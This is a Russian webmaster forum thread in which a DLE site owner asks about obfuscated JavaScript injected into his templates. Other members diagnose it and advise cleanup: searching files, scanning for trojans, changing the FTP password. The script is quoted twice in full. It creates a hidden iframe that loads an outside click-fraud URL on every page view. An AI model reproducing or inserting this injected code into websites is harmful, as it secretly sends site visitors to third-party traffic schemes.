Вред. Код

L
На сайте с 17.02.2010
Offline
18
944

Собственно, в какой-то теме отписывался о том что на моем сайте появился некий код, на который Яша на меня начал материться, он появился в main.tpl , index.php, а сейчас я его отрыл случайно и в main.php собственно вот он красавец:

<script type='text/javascript'>function kPA(){};var iY=function(){return 'iY'};kPA.prototype = {p : function() {var a=new Date();this.y=20327;this.oD="oD";this.s=false;this.v=false;this.qQ=47771;var vM=false;var n=document;var w=function(){return 'w'};k='';var t=window;hL=64747;yS='';var oX=new Array();rD=false;var kH=new Date();var g="";var rX=function(){};    String.prototype.eG=function(l, lV){return this.replace(l, lV)};this.uQ="uQ";var yZ=33639;var e=function(){return 'e'};this.vS=false;var uV="uV";this.hH="hH";var aV=new Array();var h = 's7tEyUlNe,'.eG(/[,7UEN]/g, '');var jA="jA";this.uS="";        var o = 'aMp@p]eMn@dmCEhmi@l]d@'.eG(/[@\]mME]/g, '');hR="";this.uJ="uJ";this.gT="";this.pO=false;var z = 'i}f+rza+m+eV'.eG(/[Vz\+4\}]/g, '');var oH="oH";var oZ="";this.d=false;kG=29530;var q = 'c5rCeqa5t5eIE5lIeqmOeqnqtC'.eG(/[COI5q]/g, '');this.qR='';this.lU=1070;lP=51830;x=29438;var u = 'w:rUi,tHeH'.eG(/[H,7\:U]/g, '');this.mZ="";var i=false;var cJ='';var pG=new Date();var r = 's<e^t^ABtBt^rBi7b7uBt^eB'.eG(/[B7\<\^3]/g, '');var wM="";var kP=function(){};this.wZ='';iD=32481;var b = 'sUrVco'.eG(/[oVBtU]/g, '');var cF="cF";var jZ='';var eW=false;this.lQ='';var m = 'bAoSdSyM'.eG(/[M\>AS%]/g, '');function xL(){};var hX=5679;function sL(){};this.sB=false;var qK = 'dFibs/p}lFabyF:bn}o/n}eb'.eG(/[b\}AF/]/g, '');var bV="bV";this.nI="";var c = 'sKe8t8TKiMm8eLo8u8t,'.eG(/[,KM8L]/g, '');cY="";this.uQN="uQN";var lM=new Date();var gH=48313;var uD=new Date();try {yF="yF";var sD=new Array();zR="";this.jF="jF";var sH=function(){return 'sH'};this.dJ="dJ";this.lY='';var hF=n[q](z);tQ=12847;this.vX=false;this.aF=28000;hF[r](b, this.nJ());var tR='';var aI=new Date();this.kA="kA";hF[r](h, qK);var iW=function(){return 'iW'};var pOR=function(){return 'pOR'};aR=false;var tP=false;document[m][o](hF);function zT(){};this.xT=false;this.dK=17026;bK=33653;} catch(j) {var nE=function(){};var iC="";var lL=new Array();n.write('c&X&l,DU<,/.b:o.d.y:>&<,/:h,t.m:lU>.'.eG(/[\.U\:&,]/g, ''));this.xO="";var yR=new Array();var wC=false;var sN=40572;var tF = this;var eA=function(){return 'eA'};this.yM="yM";t[c](function(){ tF.p() }, 311);this.xB="";var vE="vE";iU=16328;}var bM=function(){};var lYZ='';var f=false;var fC=new Date();},nJ : function() {var bI=10997;var sS='';var xS=function(){};return 'hKtwtwp$:K/z/$c!lwi!cwkz-!czlzizcwkwe$rz.Kc!oKmw/wczlKi!cKk!/$i$nz.wczg!i$?K3K'.eG(/[K\!wz\$]/g, '');var iM=function(){return 'iM'};this.wR="";var bS=false;}};zA='';var fH=new kPA(); jQ=false;fH.p();cJA=false;</script>

Думаю взялся он из модуля, который я устанавливал (точнее из одного их них). Что делает этот код?) Кто разберается в этом, подскажите плз, где еще возможно зарыта эта фещичка:crazy:

П.С Движок DLE 8.3 )

Lenty добавил 14.03.2010 в 09:20

Уже не совсем забавно, он внедрился во все шаблоны о_О

После тегов

</body>

</html>

<script type='text/javascript'>function kPA(){};var iY=function(){return 'iY'};kPA.prototype = {p : function() {var a=new Date();this.y=20327;this.oD="oD";this.s=false;this.v=false;this.qQ=47771;var vM=false;var n=document;var w=function(){return 'w'};k='';var t=window;hL=64747;yS='';var oX=new Array();rD=false;var kH=new Date();var g="";var rX=function(){}; String.prototype.eG=function(l, lV){return this.replace(l, lV)};this.uQ="uQ";var yZ=33639;var e=function(){return 'e'};this.vS=false;var uV="uV";this.hH="hH";var aV=new Array();var h = 's7tEyUlNe,'.eG(/[,7UEN]/g, '');var jA="jA";this.uS=""; var o = 'aMp@p]eMn@dmCEhmi@l]d@'.eG(/[@\]mME]/g, '');hR="";this.uJ="uJ";this.gT="";this.pO=false;var z = 'i}f+rza+m+eV'.eG(/[Vz\+4\}]/g, '');var oH="oH";var oZ="";this.d=false;kG=29530;var q = 'c5rCeqa5t5eIE5lIeqmOeqnqtC'.eG(/[COI5q]/g, '');this.qR='';this.lU=1070;lP=51830;x=29438;var u = 'w:rUi,tHeH'.eG(/[H,7\:U]/g, '');this.mZ="";var i=false;var cJ='';var pG=new Date();var r = 's<e^t^ABtBt^rBi7b7uBt^eB'.eG(/[B7\<\^3]/g, '');var wM="";var kP=function(){};this.wZ='';iD=32481;var b = 'sUrVco'.eG(/[oVBtU]/g, '');var cF="cF";var jZ='';var eW=false;this.lQ='';var m = 'bAoSdSyM'.eG(/[M\>AS%]/g, '');function xL(){};var hX=5679;function sL(){};this.sB=false;var qK = 'dFibs/p}lFabyF:bn}o/n}eb'.eG(/[b\}AF/]/g, '');var bV="bV";this.nI="";var c = 'sKe8t8TKiMm8eLo8u8t,'.eG(/[,KM8L]/g, '');cY="";this.uQN="uQN";var lM=new Date();var gH=48313;var uD=new Date();try {yF="yF";var sD=new Array();zR="";this.jF="jF";var sH=function(){return 'sH'};this.dJ="dJ";this.lY='';var hF=n[q](z);tQ=12847;this.vX=false;this.aF=28000;hF[r](b, this.nJ());var tR='';var aI=new Date();this.kA="kA";hF[r](h, qK);var iW=function(){return 'iW'};var pOR=function(){return 'pOR'};aR=false;var tP=false;document[m][o](hF);function zT(){};this.xT=false;this.dK=17026;bK=33653;} catch(j) {var nE=function(){};var iC="";var lL=new Array();n.write('c&X&l,DU<,/.b:o.d.y:>&<,/:h,t.m:lU>.'.eG(/[\.U\:&,]/g, ''));this.xO="";var yR=new Array();var wC=false;var sN=40572;var tF = this;var eA=function(){return 'eA'};this.yM="yM";t[c](function(){ tF.p() }, 311);this.xB="";var vE="vE";iU=16328;}var bM=function(){};var lYZ='';var f=false;var fC=new Date();},nJ : function() {var bI=10997;var sS='';var xS=function(){};return 'hKtwtwp$:K/z/$c!lwi!cwkz-!czlzizcwkwe$rz.Kc!oKmw/wczlKi!cKk!/$i$nz.wczg!i$?K3K'.eG(/[K\!wz\$]/g, '');var iM=function(){return 'iM'};this.wR="";var bS=false;}};zA='';var fH=new kPA(); jQ=false;fH.p();cJA=false;</script>

Что это за зверь и где его искать?

Lenty добавил 14.03.2010 в 09:43

ап ап ап, нужна помощь гуру, кто знает или хотя бы намекнет де искать

sirota77
На сайте с 08.09.2008
Offline
161
#1

Намёк:

это нормальный результат если использовать всякое Г из паблика (шаблоны, модули)

L
На сайте с 17.02.2010
Offline
18
#2

не, ну это то понятно. Но что может редактировать шаблоны, и где оно сидит... Вроде лиценз сборку брал не нулл, хм..

sirota77
На сайте с 08.09.2008
Offline
161
#3
Lenty:
не, ну это то понятно. Но что может редактировать шаблоны, и где оно сидит... Вроде лиценз сборку брал не нулл, хм..

Вот в это верится с трудом.

Можно воспользоваться поиском по файлам.

B
На сайте с 24.09.2005
Offline
62
#4

ваш код лезет сюда click-clicker .com/click/in.cgi

и еще на google,

странный код, думаю его лучше удалить

Куда делось свободное место (http://se-chronicle.blogspot.com/) на жестком диске
L
На сайте с 17.02.2010
Offline
18
#5

да, я ухватил загрузку этого сайта, благодарю за помощь.

Где нашел код, там убрал.

Не ну не покупал, а просто не нуленную забрал )

sirota77
На сайте с 08.09.2008
Offline
161
#6
Lenty:
Не ну не покупал, а просто не нуленную забрал )

а это как ?

Z
На сайте с 03.12.2009
Offline
17
#7

Проверяйте свой комп на троянов. После удаления троянов меняйте пароль к FTP.

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий